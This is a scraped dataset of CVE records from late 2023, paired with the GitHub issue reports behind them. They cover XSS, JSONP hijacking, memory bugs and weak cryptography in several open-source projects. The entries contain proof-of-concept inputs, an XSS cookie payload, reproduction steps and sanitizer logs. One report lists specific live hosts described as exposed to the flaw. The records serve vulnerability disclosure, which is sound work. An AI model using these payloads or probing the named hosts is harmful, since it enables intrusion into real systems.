Here are some online assets using phpsysinfo that I have found:
https://server.wxp-3.nl/xml.php
https://sysinfo.pouserinet.fi/xml.php
https://zvoyc1uy16u7hu9e.myfritz.net/xml.php
http://204.11.55.179/xml.php
http://204.11.55.87/xml.php
http://88.67.242.79/xml.php
http://217.131.251.40/xml.php
If we want to easily test whether a website is vulnerable to this exploit, we can simply replace "phpbb.trabitechnik.com" in the HTML file(POC) with the URL of the website we want to test. We can open the modified HTML file and check if a pop-up window is displayed with the JSON data retrieved from the website. If a pop-up window appears with the JSON data, then the website is vulnerable to the JSONP hijacking exploit.
### **Impact**
If a website's internal network information or other sensitive data is exposed through JSONP and vulnerable to hijacking, the consequences could be severe.
An attacker could potentially retrieve sensitive information such as IP addresses, server names, network topologies, and other data that could be used to map out the internal network structure. This information could then be used to identify additional targets within the network and launch more targeted attacks.
In addition, if the website is part of a larger system or network, the attacker could use the information obtained through JSONP hijacking to gain access to other systems or sensitive data within the network.
Overall, the potential consequences of JSONP hijacking are significant and can lead to a range of security issues and data breaches. It is important for website administrators to ensure that their systems are not vulnerable to this exploit and to take appropriate measures to mitigate the risk.
[benharvie](https://huntr.com/users/benharvie/) marked this as fixed in 4f2cee505e4f2e9b369a321063ff2c5e0c34ba45 with commit [4f2cee](https://www.github.com/phpsysinfo/phpsysinfo/commit/4f2cee505e4f2e9b369a321063ff2c5e0c34ba45) 4 months ago
| XML.php JSONP hijacking in phpsysinfo v3.4.3 | https://api.github.com/repos/Hebing123/cve/issues/5/comments | 1 | 2023-12-15T07:09:51Z | 2024-03-11T06:23:33Z | https://github.com/Hebing123/cve/issues/5 | 2,043,028,601 | 5 | 5,834 |
CVE-2023-49489 | 2023-12-19T10:15:07.943 | Reflective Cross Site Scripting (XSS) vulnerability in KodExplorer version 4.51, allows attackers to obtain sensitive information and escalate privileges via the APP_HOST parameter at config/i18n/en/main.php. | {
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"kalcaddle",
"KodExplorer"
] | ```
GET /index.php?user/login HTTP/1.1
Host: 192.168.160.130:6699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: APP_HOST=http://192.168.160.130:6699/"><ScRiPt%20>alert(9876)</ScRiPt>
Upgrade-Insecure-Requests: 1
```
The utilization method is relatively complex Need to modify the APP in the cookie header_ HOST, which can be done through HTML or other methods.
| KodExplorer 4.51 has a reflective XSS vulnerability | https://api.github.com/repos/kalcaddle/KodExplorer/issues/526/comments | 2 | 2023-11-23T02:19:38Z | 2024-08-27T06:54:59Z | https://github.com/kalcaddle/KodExplorer/issues/526 | 2,007,380,518 | 526 | 5,835 |
CVE-2023-50044 | 2023-12-20T09:15:07.297 | Cesanta MJS 2.20.0 has a getprop_builtin_foreign out-of-bounds read if a Built-in API name occurs in a substring of an input string. | {
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"cesanta",
"mjs"
] | ## Environment
Ubuntu 22.04.3 LTS
## Compiler
clang version 11.0.0
Target: x86_64-unknown-linux-gnu
Thread model: posix
## Affected Version
mjs 2.20.0
## Step to reproduce
```git clone https://github.com/cesanta/mjs.git
cd mjs
git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551
export LDFLAGS="-lpthread -latomic"
./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g
./mjs-bin -f PoCfile
```
## Contents of PoCfile
```
die[8888888888]
```
## Expected behavior
Print error or warning messages handled within mjs.
## Current behavior
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==203500==ERROR: AddressSanitizer: SEGV on unknown address 0x000012239818 (pc 0x000000555e16 bp 0x7ffd2723c930 sp 0x7ffd2723c860 T0)
==203500==The signal is caused by a READ memory access.
#0 0x555e16 in getprop_builtin_foreign /mjs/mjs.c:8472:31
#1 0x55392c in getprop_builtin /mjs/mjs.c:8509:17
#2 0x527c8e in mjs_execute /mjs/mjs.c:8661:14
#3 0x523d0c in mjs_exec_internal /mjs/mjs.c:9044:5
#4 0x5240a7 in mjs_exec_file /mjs/mjs.c:9067:11
#5 0x52c77d in main /mjs/mjs.c:11406:13
#6 0x7f39b8195082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41c3bd in _start (/mjs/mjs-bin+0x41c3bd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:8472:31 in getprop_builtin_foreign
==203500==ABORTING
```
## Conclusion
The bug was triggered due to an attempt to access memory locations that are restricted when the input string contains Built-in APIs.
This report specifically provides information when the input string contained the substring "die" (input string: "die[8888888888]"). The presence of "die[88888888]" within the input string led to a segment fault, as it incorrectly identified an inaccessible address of the Built-in APIs as an accessible foreign pointer. Upon further testing with other Built-in APIs, it was discovered that the issue applied to all of the Built-in APIs mentioned in the README.md documentation.
I will submit a Pull Request to address this issue. | Segmentation Fault in getprop_builtin_foreign | https://api.github.com/repos/cesanta/mjs/issues/254/comments | 1 | 2023-11-23T03:20:25Z | 2023-12-27T18:24:10Z | https://github.com/cesanta/mjs/issues/254 | 2,007,422,344 | 254 | 5,836 |
CVE-2023-50628 | 2023-12-20T09:15:07.350 | Buffer Overflow vulnerability in libming version 0.4.8, allows attackers to execute arbitrary code and obtain sensitive information via parser.c component. | {
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"libming",
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] | ## Environment
Ubuntu 22.04.3 LTS
## Compiler
clang version 11.0.0
Target: x86_64-unknown-linux-gnu
Thread model: posix
## Affected Version
libming 0.4.8
## Step to reproduce
```cd libming
./autogen.sh
./configure --disable-shared --disable-freetype
cd util
./swftophp <PoC file>
```
## Contents of PoC file
```
Unzip the file below.
```
[UNZIP_THIS_FILE.zip](https://github.com/libming/libming/files/13604530/UNZIP_THIS_FILE.zip)
## Expected behavior
Print error or warning messages handled within swftophp.
## Current behavior
```
header indicates a filesize of 117901066 but filesize is 119
<?php
$m = new SWFMovie(10);
ming_setscale(1.0);
$m->setRate(7.027344);
$m->setDimension(0, 0);
$m->setFrames(2055);
Stream out of sync after parse of blocktype 28 (SWF_REMOVEOBJECT2). 17 but expecting 22.
/* SWF_REMOVEOBJECT2 */
$m->remove($i63495);
Stream out of sync after parse of blocktype 11 (SWF_DEFINETEXT). 111 but expecting 80.
/* SWF_DEFINETEXT */
$character1799 = new SWFText(1);
$character1799->setColor(0xf0, 0x0a, 0x0a);
outputSWF_TEXT_RECORD: can't process text record: fonts information list is NULL
$character1799->addString("X");
/*Unknown block type 333*/
sudden file end: read failed @107 fileSize 119, request 30
extra garbage (i.e., we messed up in main):
0000: 46 57 22 22 07 07 07 07 01 01 01 01 FW"".... ....
header('Content-type: application/x-shockwave-flash');
$m->output(9);
?>
=================================================================
==35188==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 48 byte(s) in 1 object(s) allocated from:
#0 0x4c4478 in realloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:164:3
#1 0x557895 in parseSWF_DEFINETEXT /home/libming/util/parser.c:2353:51
Direct leak of 23 byte(s) in 1 object(s) allocated from:
#0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x56bb6d in readBytes /home/libming/util/read.c:252:17
Indirect leak of 624 byte(s) in 1 object(s) allocated from:
#0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x53b47a in parseSWF_TEXTRECORD /home/libming/util/parser.c:316:26
Indirect leak of 312 byte(s) in 39 object(s) allocated from:
#0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x53a9b8 in parseSWF_GLYPHENTRY /home/libming/util/parser.c:264:25
Indirect leak of 312 byte(s) in 39 object(s) allocated from:
#0 0x4c40ff in malloc /home/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145:3
#1 0x53a6eb in parseSWF_GLYPHENTRY /home/libming/util/parser.c:247:23
SUMMARY: AddressSanitizer: 1319 byte(s) leaked in 81 allocation(s).
```
## Conclusion
If the input file has a manipulated header section, memory leaks occur while parsing the header section in swftophp because parse.c which is the component parsing the header section does not verify that the input file is valid SWF format.
I will submit a Pull Request to address this issue. | Memory leaks at parser.c:2353:51 | https://api.github.com/repos/libming/libming/issues/289/comments | 1 | 2023-12-07T19:49:34Z | 2023-12-20T01:44:57Z | https://github.com/libming/libming/issues/289 | 2,031,418,685 | 289 | 5,837 |
CVE-2023-46131 | 2023-12-21T00:15:25.813 | Grails is a framework used to build web applications with the Groovy programming language. A specially crafted web request can lead to a JVM crash or denial of service. Any Grails framework application using Grails data binding is vulnerable. This issue has been patched in version 3.3.17, 4.1.3, 5.3.4, 6.1.0.
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] | A vulnerability in the Grails® framework has been identified and patched. For details, please see [the blog post](https://grails.org/blog/2023-12-20-cve-data-binding-dos.html) announcing the vulnerability and the published [security advisory](https://github.com/grails/grails-core/security/advisories/GHSA-3pjv-r7w4-2cf5).
If you use a vulnerable version of the Grails® framework, upgrading to a patched version is highly recommended.
This thread has been opened to facilitate discussion about CVE-2023-46131. If you have any comments or questions, please add them below. | CVE-2023-46131 Discussion | https://api.github.com/repos/apache/grails-core/issues/13302/comments | 20 | 2023-12-19T15:52:34Z | 2024-05-08T19:21:42Z | https://github.com/apache/grails-core/issues/13302 | 2,048,940,040 | 13,302 | 5,838 |
CVE-2023-50473 | 2023-12-21T11:15:08.300 | Cross-Site Scripting (XSS) vulnerability in bill-ahmed qbit-matUI version 1.16.4, allows remote attackers to obtain sensitive information via fixed session identifiers (SID) in index.js file. | {
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`res.cookie('SID', '8c212779b4abde7A');`
To address this issue, it is recommended to modify the code to generate a random session identifier upon successful authentication. The generated session identifier should be unique for each user session and stored securely in the cookie.
Additionally, it is important to follow best practices for secure cookie handling. This includes setting the "Secure" flag to ensure the cookie is only transmitted over HTTPS and setting the "HttpOnly" flag to prevent client-side script access. | Fixed Session Identifier in Login Cookie | https://api.github.com/repos/bill-ahmed/qbit-matUI/issues/207/comments | 0 | 2023-12-04T07:41:30Z | 2023-12-04T07:41:30Z | https://github.com/bill-ahmed/qbit-matUI/issues/207 | 2,023,221,178 | 207 | 5,839 |
CVE-2023-50475 | 2023-12-21T11:15:08.673 | An issue was discovered in bcoin-org bcoin version 2.2.0, allows remote attackers to obtain sensitive information via weak hashing algorithms in the component \vendor\faye-websocket.js. | {
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The current implementation in the code utilizes the MD5 and SHA1 hash algorithm, which is considered weak and vulnerable to attacks such as collision and preimage attacks. This poses a security risk as it can potentially be exploited by malicious actors to compromise the integrity and confidentiality of the WebSocket communication.
1. bcoin-master\node_modules\bsock\vendor\faye-websocket.js, line 1462
2. bcoin-master\node_modules\bsock\vendor\faye-websocket.js, line 2919
`Hybi.generateAccept = function(key) {
var sha1 = crypto.createHash('sha1');
sha1.update(key + Hybi.GUID);
return sha1.digest('base64');
};`
` _handshakeSignature: function() {
if (this._body.length < this.BODY_SIZE) return null;
var md5 = crypto.createHash('md5'),
buffer = new Buffer(8 + this.BODY_SIZE);
buffer.writeUInt32BE(this._keyValues[0], 0);
buffer.writeUInt32BE(this._keyValues[1], 4);
new Buffer(this._body).copy(buffer, 8, 0, this.BODY_SIZE);
md5.update(buffer);
return new Buffer(md5.digest('binary'), 'binary');
},` | Use of Weak Hashing Algorithms (MD5 and SHA1) during Client Initialization | https://api.github.com/repos/bcoin-org/bcoin/issues/1174/comments | 2 | 2023-11-30T09:50:22Z | 2024-11-07T17:07:18Z | https://github.com/bcoin-org/bcoin/issues/1174 | 2,018,266,015 | 1,174 | 5,840 |
CVE-2023-50481 | 2023-12-21T11:15:08.790 | An issue was discovered in blinksocks version 3.3.8, allows remote attackers to obtain sensitive information via weak encryption algorithms in the component /presets/ssr-auth-chain.js. | {
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Using the non-random IV for CBC and CFB modes
1. lib/presets/ssr-auth-aes128.js, line 100
2. lib/presets/ssr-auth-chain.js, line 163
Using insecure symmetric-key algorithms: RC4
1. lib/presets/ssr-auth-chain.js, line 173
2. lib/presets/ssr-auth-chain.js, line 278
3. lib/presets/ssr-auth-chain.js, line 391
4. lib/presets/ssr-auth-chain.js, line 436
Using outdated encryption algorithms and fixed initialization vectors can lead to risks of data leakage, data tampering, and security vulnerabilities. Therefore, it is crucial to promptly update encryption algorithms and initialization vectors, and conduct security reviews to improve system security and data integrity. | Bug Report：Usage of Outdated Encryption Algorithm and Fixed Initialization Vector | https://api.github.com/repos/blinksocks/blinksocks/issues/108/comments | 0 | 2023-12-04T12:50:12Z | 2023-12-04T12:50:12Z | https://github.com/blinksocks/blinksocks/issues/108 | 2,023,785,927 | 108 | 5,841 |
CVE-2023-50724 | 2023-12-21T15:15:10.573 | Resque (pronounced like "rescue") is a Redis-backed library for creating background jobs, placing those jobs on multiple queues, and processing them later. resque-web in resque versions before 2.1.0 are vulnerable to reflected XSS through the current_queue parameter in the path of the queues endpoint. This issue has been patched in version 2.1.0.
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As shown in the image above, the application is vulnerable to Reflected Cross Site Scripting through pathname of the site. With Non-Persistent cross-site scripting, malicious code is executed by the victim’s browser, and the payload is not stored anywhere; instead, it is returned as part of the response HTML that the server sends. The vulnerability is typically a result of incoming requests not being sufficiently validated, which allows for the manipulation of a web application’s function and the activation of malicious scripts. In order to exploit this vulnerability, an attacker needs to send the link to the victim. When the victim loads the link, the cross-site scripting payload will execute.
**Recommended fix:**
HTML ESCAPE: Ruby on Rails has a built-in XSS protection mechanism which automatically HTMLescapes all the data being transferred from Rails to HTML. Rails uses ERB::Util#html_escape function toescape HTML entities. This particular function does the substitution based on the following hash (moreabout ERB::Util). ``` { '&' => '&', '>' => '>', '<' => '<', '"' => '"', "'" => ''' } ``` Here is anexample: ``` <b>Hello <%= params[:name] %></b> ``` If the above is attacked with ?name=<script>alert(1)</script>, the output will be as follows: ``` <b> Hello <script>alert(1)</script>gt; </b> ` | Vulnerable to Reflected Cross Site Scripting through pathname | https://api.github.com/repos/resque/resque/issues/1679/comments | 0 | 2019-04-17T15:32:11Z | 2021-07-22T03:47:50Z | https://github.com/resque/resque/issues/1679 | 434,348,975 | 1,679 | 5,842 |
CVE-2023-4255 | 2023-12-21T16:15:10.017 | An out-of-bounds write issue has been discovered in the backspace handling of the checkType() function in etc.c within the W3M application. This vulnerability is triggered by supplying a specially crafted HTML file to the w3m binary. Exploitation of this flaw could lead to application crashes, resulting in a denial of service condition. | {
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"w3m"
] | Hi,
I think the fix for [CVE-2022-38223](https://github.com/advisories/GHSA-rf3p-g68h-h93f) in [419ca82](https://github.com/tats/w3m/commit/419ca82d57c72242817b55e2eaa4cdbf6916e7fa) is not complete and it is still possible to trigger the same bug with a different poc in [tats/w3m#242](https://github.com/tats/w3m/issues/242). The bug is an out of bound write in checkType, etc.c:478.
## Version
w3m latest commit [93ad5ee](https://github.com/tats/w3m/commit/93ad5ee7da3bb3b6848434f0940321f345b7369c)
```
./w3m --version
w3m version w3m/0.5.3+git20230129, options lang=en,m17n,image,color,ansi-color,mouse,menu,cookie,external-uri-loader,w3mmailer,nntp,gopher,ipv6,alarm,mark
```
## How to reproduce
```
export CC="gcc -fsanitize=address -g" && ./configure && make -j
./w3m -dump $POC
```
ubuntu 20.04 dockerized reproduce steps
```
docker pull ubuntu:20.04 && docker run -it ubuntu:20.04 bash
## now step into the container
apt update && apt install wget git unzip gcc g++ make libgc-dev libtinfo-dev -y
git clone https://github.com/tats/w3m && pushd w3m
export CC="gcc -fsanitize=address -g" && ./configure && make -j
wget https://github.com/tats/w3m/files/11966800/poc0.zip && unzip poc0.zip
./w3m -dump ./poc0
```
Debian 11 dockerized reproduce steps
```
docker pull debian:11 && docker run -it debian:11 bash
## now step into the container
apt update && apt install wget git unzip gcc g++ make libgc-dev libtinfo-dev -y
git clone https://github.com/tats/w3m && pushd w3m
export CC="gcc -fsanitize=address -g" && ./configure && make -j
wget https://github.com/tats/w3m/files/11967522/poc0_debian.zip && unzip poc0_debian.zip
./w3m -dump ./poc0
```
## ASAN log
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==5589==ERROR: AddressSanitizer: SEGV on unknown address 0x55e29237fe3c (pc 0x55e37f25f7d5 bp 0x55e29237fe3c sp 0x7fffda0d3220 T0)
==5589==The signal is caused by a WRITE memory access.
#0 0x55e37f25f7d4 in checkType /benchmark/w3m/etc.c:478
#1 0x55e37f225e8f in loadBuffer /benchmark/w3m/file.c:7727
#2 0x55e37f24ac5b in loadSomething /benchmark/w3m/file.c:232
#3 0x55e37f24ac5b in loadGeneralFile /benchmark/w3m/file.c:2288
#4 0x55e37f1e8807 in main /benchmark/w3m/main.c:1061
#5 0x7f216f6dd082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x55e37f1ec56d in _start (/benchmark/w3m/w3m+0xb256d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /benchmark/w3m/etc.c:478 in checkType
==5589==ABORTING
```
## Platform
- OS: ubuntu 20.04.5 LTS
- gcc 9.4.0
or
- OS : Debian GNU/Linux 11
- gcc 10.2.1
The bug was found by my fuzzer on Ubuntu 20.04.5. In addition, the bug can also be reproduced on Debian 11 with the default version of gcc.
## PoC
[ubuntu poc0.zip](https://github.com/tats/w3m/files/11966800/poc0.zip)
[debian poc0.zip](https://github.com/tats/w3m/files/11967522/poc0_debian.zip)
PS: The poc is different from that of [tats/w3m#242](https://github.com/tats/w3m/issues/242) .
| Incomplete fix for CVE-2022-38223 | https://api.github.com/repos/tats/w3m/issues/268/comments | 8 | 2023-06-12T04:16:49Z | 2023-12-28T19:03:07Z | https://github.com/tats/w3m/issues/268 | 1,751,860,644 | 268 | 5,843 |
CVE-2023-4256 | 2023-12-21T16:15:10.400 | Within tcpreplay's tcprewrite, a double free vulnerability has been identified in the tcpedit_dlt_cleanup() function within plugins/dlt_plugins.c. This vulnerability can be exploited by supplying a specifically crafted file to the tcprewrite binary. This flaw enables a local attacker to initiate a Denial of Service (DoS) attack. | {
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"415"
] | 415 | https://github.com/appneta/tcpreplay/issues/813 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"appneta",
"tcpreplay"
] | **Describe the bug**
tcprewrite in tcpreplay latest commit : [43693c4](https://github.com/appneta/tcpreplay/commit/43693c4a92dda227a5134ae5e71a7247ae345323), v4.4.4 and v.4.4.3 has a double free in function tcpedit_dlt_cleanup in plugins/dlt_plugins.c.
**To Reproduce**
Steps to reproduce the behavior:
1. Get the Tcpreplay source code and build it with ASAN.
```
# Build with ASAN
export CC=gcc export CXX=g++
export CFLAGS="-g -fsanitize=address" export CXXFLAGS="-g -fsanitize=address"
./autogen.sh
./configure && make -j
```
2. Run tcprewrite with provided poc
```
tcprewrite -i poc -o /dev/null
```
The poc is available at [poc.zip](https://github.com/appneta/tcpreplay/files/12090738/poc.zip)
Please unzip it first and then feed it into the tcprewrite binary.
**Expected behavior**
The ASAN report
```
==72056==ERROR: AddressSanitizer: attempting double-free on 0x603000000040 in thread T0:
#0 0x7f10d91ff40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122
#1 0x555929e48229 in our_safe_free /benchmark/tcpreplay/src/common/utils.c:113
#2 0x555929e2dbe6 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:466
#3 0x555929e1dc35 in tcpedit_close /benchmark/tcpreplay/src/tcpedit/tcpedit.c:555
#4 0x555929e19cd1 in main /benchmark/tcpreplay/src/tcprewrite.c:146
#5 0x7f10d8e8f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#6 0x555929e1714d in _start (/validate_binary/tcprewrite+0x1c14d)
0x603000000040 is located 0 bytes inside of 20-byte region [0x603000000040,0x603000000054)
freed by thread T0 here:
#0 0x7f10d91ff40f in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122
#1 0x555929e48229 in our_safe_free /benchmark/tcpreplay/src/common/utils.c:113
#2 0x555929e2dbe6 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:466
#3 0x555929e3eceb in dlt_jnpr_ether_cleanup plugins/dlt_jnpr_ether/jnpr_ether.c:168
#4 0x555929e2dac3 in tcpedit_dlt_cleanup plugins/dlt_plugins.c:450
#5 0x555929e1dc35 in tcpedit_close /benchmark/tcpreplay/src/tcpedit/tcpedit.c:555
#6 0x555929e19cd1 in main /benchmark/tcpreplay/src/tcprewrite.c:146
#7 0x7f10d8e8f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
previously allocated by thread T0 here:
[poc.zip](https://github.com/appneta/tcpreplay/files/12090735/poc.zip)
#0 0x7f10d91ff808 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:144
#1 0x555929e47f77 in our_safe_malloc /benchmark/tcpreplay/src/common/utils.c:42
#2 0x555929e2f400 in dlt_en10mb_init plugins/dlt_en10mb/en10mb.c:109
#3 0x555929e2c804 in tcpedit_dlt_init plugins/dlt_plugins.c:148
#4 0x555929e3eab4 in dlt_jnpr_ether_post_init plugins/dlt_jnpr_ether/jnpr_ether.c:138
#5 0x555929e2cf36 in tcpedit_dlt_post_init plugins/dlt_plugins.c:251
#6 0x555929e2cc41 in tcpedit_dlt_post_args plugins/dlt_plugins.c:202
#7 0x555929e20842 in tcpedit_post_args /benchmark/tcpreplay/src/tcpedit/parse_args.c:242
#8 0x555929e1985a in main /benchmark/tcpreplay/src/tcprewrite.c:84
#9 0x7f10d8e8f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
SUMMARY: AddressSanitizer: double-free ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:122 in __interceptor_free
==72056==ABORTING
```
**Screenshots**
if you reproduce successfully, you will see an output similar to the following screenshot.
**System (please complete the following information):**
- OS: Ubuntu 20.04 (docker images)
- Tcpreplay Version v4.4.4 and v4.4.3
```
$ ./tcprewrite --version
tcprewrite version: 4.4.4 (build git:v4.4.4-1-g43693c4a)
Copyright 2013-2022 by Fred Klassen <tcpreplay at appneta dot com> - AppNeta
Copyright 2000-2012 by Aaron Turner <aturner at synfin dot net>
The entire Tcpreplay Suite is licensed under the GPLv3
Cache file supported: 04
Not compiled with libdnet.
Compiled against libpcap: 1.9.1
64 bit packet counters: enabled
Verbose printing via tcpdump: disabled
Fragroute engine: disable
```
| [Bug] Double free in tcpedit_dlt_cleanup in tcprewrite | https://api.github.com/repos/appneta/tcpreplay/issues/813/comments | 8 | 2023-07-19T03:25:47Z | 2024-07-23T15:25:41Z | https://github.com/appneta/tcpreplay/issues/813 | 1,811,074,253 | 813 | 5,844 |
CVE-2023-51713 | 2023-12-22T03:15:09.730 | make_ftp_cmd in main.c in ProFTPD before 1.3.8a has a one-byte out-of-bounds read, and daemon crash, because of mishandling of quote/backslash semantics. | {
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"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/proftpd/proftpd/blob/1.3.8/NEWS"
},
{
"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Patch",
"Vendor Advisory"
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"url": "https://github.com/proftpd/proftpd/issues/1683"
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"source": "cve@mitre.org",
"tags": [
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"Issue Tracking",
"Patch",
"Vendor Advisory"
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"Issue Tracking",
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"125"
] | 125 | https://github.com/proftpd/proftpd/issues/1683 | [
"Exploit",
"Issue Tracking",
"Patch",
"Vendor Advisory"
] | github.com | [
"proftpd",
"proftpd"
] | ### What I Did
Cloned latest version of ProFTPD (5e57d41) in a container running Ubuntu 20.04, configured with flags for ASAN and UBSan.
Started the tool as such `./proftpd -n -c <SOMEDIR>/basic.conf -X`.
Sent over a sequence of packets, gathered from a fuzz campaign using the `aflnet-replay` utility.
### What I Expected/Wanted
Expected to have ProFTPD not crash.
### ProFTPD Version and Configuration
```
Compile-time Settings:
Version: 1.3.9rc1 (git)
Platform: LINUX [Linux 5.4.0-120-generic x86_64]
OS/Release:
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Built: Tue Jun 6 2023 05:18:02 UTC
Built With:
configure '--enable-devel=nodaemon:nofork' 'CC=cc' 'CFLAGS=-fsanitize=address,undefined -g' 'LDFLAGS=-fsanitize=address,undefined'
CFLAGS: -g2 -fsanitize=address,undefined -g -Wall -fno-omit-frame-pointer -fno-strict-aliasing -Wdangling-else -Wextra -Werror=implicit-function-declaration -Winit-self -Wno-missing-field-initializers -Wno-unused-parameter -Wnull-derefere
nce -fdelete-null-pointer-checks -DPR_DEVEL_NO_FORK -DPR_DEVEL_NO_DAEMON -g3 -O0 -Wcast-align -Wchar-subscripts -Winline -Wstrict-prototypes -Wmissing-declarations -Wnested-externs -Wpointer-arith -Wshadow -Wundef -Wcomment -Wdangling-else
-Wdeclaration-after-statement -Wduplicated-branches -Wfloat-equal -Wformat -Wformat-security -Wimplicit-function-declaration -Wmaybe-uninitialized -Wmissing-braces -Wparentheses -Wpointer-to-int-cast -Wreturn-local-addr -Wstack-protector -W
strict-overflow -Wswitch -Wunreachable-code -Wunused-variable -fstack-protector -fstack-protector-all -fno-common
LDFLAGS: -Wl,-L$(top_srcdir)/lib,-L$(top_builddir)/lib -fsanitize=address,undefined -rdynamic
LIBS: -lcap -lidn2 -lcrypt
Files:
Configuration File:
/usr/local/etc/proftpd.conf
Pid File:
/usr/local/var/proftpd.pid
Scoreboard File:
/usr/local/var/proftpd.scoreboard
Info:
+ Max supported UID: 4294967295
+ Max supported GID: 4294967295
Features:
- Autoshadow support
- Controls support
+ curses support
+ Developer support
- DSO support
+ IPv6 support
+ Largefile support
- Lastlog support
- Memcache support
+ ncurses support
- NLS support
- OpenSSL support
- PCRE support
- PCRE2 support
- POSIX ACL support
- Redis support
+ Sendfile support
+ Shadow file support
- Sodium support
+ Trace support
+ xattr support
Tunable Options:
PR_TUNABLE_BUFFER_SIZE = 1024
PR_TUNABLE_DEFAULT_RCVBUFSZ = 8192
PR_TUNABLE_DEFAULT_SNDBUFSZ = 8192
PR_TUNABLE_ENV_MAX = 2048
PR_TUNABLE_GLOBBING_MAX_MATCHES = 100000
PR_TUNABLE_GLOBBING_MAX_RECURSION = 8
PR_TUNABLE_HASH_TABLE_SIZE = 40
PR_TUNABLE_LOGIN_MAX = 256
PR_TUNABLE_NEW_POOL_SIZE = 512
PR_TUNABLE_PATH_MAX = 4096
PR_TUNABLE_SCOREBOARD_BUFFER_SIZE = 80
PR_TUNABLE_SCOREBOARD_SCRUB_TIMER = 30
PR_TUNABLE_SELECT_TIMEOUT = 30
PR_TUNABLE_TIMEOUTIDENT = 10
PR_TUNABLE_TIMEOUTIDLE = 600
PR_TUNABLE_TIMEOUTLINGER = 10
PR_TUNABLE_TIMEOUTLOGIN = 300
PR_TUNABLE_TIMEOUTNOXFER = 300
PR_TUNABLE_TIMEOUTSTALLED = 3600
PR_TUNABLE_XFER_SCOREBOARD_UPDATES = 10
```
In addition, we need to see **all** of the ProFTPD configuration files you are
using (**minus** any sensitive information like passwords, of course). Armed
with the version and configuration data, then, we can set up ProFTPD locally
using the same configuration, and see what happens.
Config and input are provided in the archive below
[data.tar.gz](https://github.com/proftpd/proftpd/files/11660286/data.tar.gz)
| Out-of-bounds buffer read when handling FTP commands | https://api.github.com/repos/proftpd/proftpd/issues/1683/comments | 16 | 2023-06-06T05:37:54Z | 2023-09-10T17:25:08Z | https://github.com/proftpd/proftpd/issues/1683 | 1,743,120,578 | 1,683 | 5,845 |
CVE-2023-51713 | 2023-12-22T03:15:09.730 | make_ftp_cmd in main.c in ProFTPD before 1.3.8a has a one-byte out-of-bounds read, and daemon crash, because of mishandling of quote/backslash semantics. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
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] | github.com | [
"proftpd",
"proftpd"
] | ### What I Did
Cloned latest version of ProFTPD (5e57d41) in a container running Ubuntu 20.04, configured with flags for ASAN and UBSan.
Started the tool as such `./proftpd -n -c <SOMEDIR>/basic.conf -X`.
Sent over a sequence of packets, gathered from a fuzz campaign using the `aflnet-replay` utility.
### What I Expected/Wanted
Expected to have ProFTPD not crash.
### ProFTPD Version and Configuration
```
Compile-time Settings:
Version: 1.3.9rc1 (git)
Platform: LINUX [Linux 5.4.0-120-generic x86_64]
OS/Release:
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Built: Tue Jun 6 2023 05:18:02 UTC
Built With:
